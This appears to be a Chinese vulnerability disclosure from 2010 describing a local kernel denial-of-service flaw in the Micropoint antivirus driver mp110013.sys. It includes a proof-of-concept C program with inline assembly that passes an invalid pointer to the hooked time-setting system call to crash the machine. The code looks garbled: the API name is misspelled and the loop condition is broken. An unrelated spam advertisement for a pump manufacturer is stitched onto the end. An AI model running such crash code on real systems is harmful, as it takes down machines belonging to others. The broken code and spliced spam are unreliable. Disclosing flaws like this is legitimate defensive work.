>漏洞标题: 微点主动防御mp110013.sys>>相关厂商: 微点>>漏洞作者: 路人甲>>提交时间: 2010-08-30>>公开时间: 2010-08-30>>漏洞类型: 拒绝服务>>危害等级: 低>>自评Rank: 5>>漏洞状态: 未联系到厂商或厂商踊跃忽略>>漏洞来源: >>简要描述:>>微点主动防御mp110013.sys中存在一处本地内核拒绝服务漏洞,安装了微点主动防御的系统上,任意权限的用户可以引发系统蓝屏崩溃>>详细说明:>>微点主动防御mp110013.sys 挂钩了 NtSetSystTime->测试软件版本:1.2.10581.0296>>测试驱动程序版本:1.3.10125.0 mp110013.sys>>漏洞证明:>>哄骗代码,安装微点的机器上执行此代码,系统立即崩溃>>// fuckmp.cpp : Defines the entry point for the console application.>>//>>#include "stdafx.h">>#include "windows.h">>int main(int argc, char* argv[])>>{>>PVOID p = GetProcAddress(GetModuleHandle("ntdll.dll") ,"NtSetSystTime");>>ULONG i ;>>for (i = 0x1000 ; i <0x7fff0000 i="0x1000)>>{>>if (IsBadReadPtr((PVOID)i , 1))>>{>>break ;>>}>>}>>__asm>>{>>push i>>push i>>call p>>}>>return 0;>>}>>修复方案:>>不仅要在probe时使用SEH,在访问参数时也要使用SEH>>厂商回应:>>未能联系到厂商或厂商踊跃拒绝>尊敬的用户您好：上海品牌不锈钢磁力驱动泵厂家，请找上海龙亚不锈钢磁力驱动泵厂，如需选型报价的客户请致电O2l-6l557O88 或 O21-61557O88 (*^__^*) 嘻嘻……。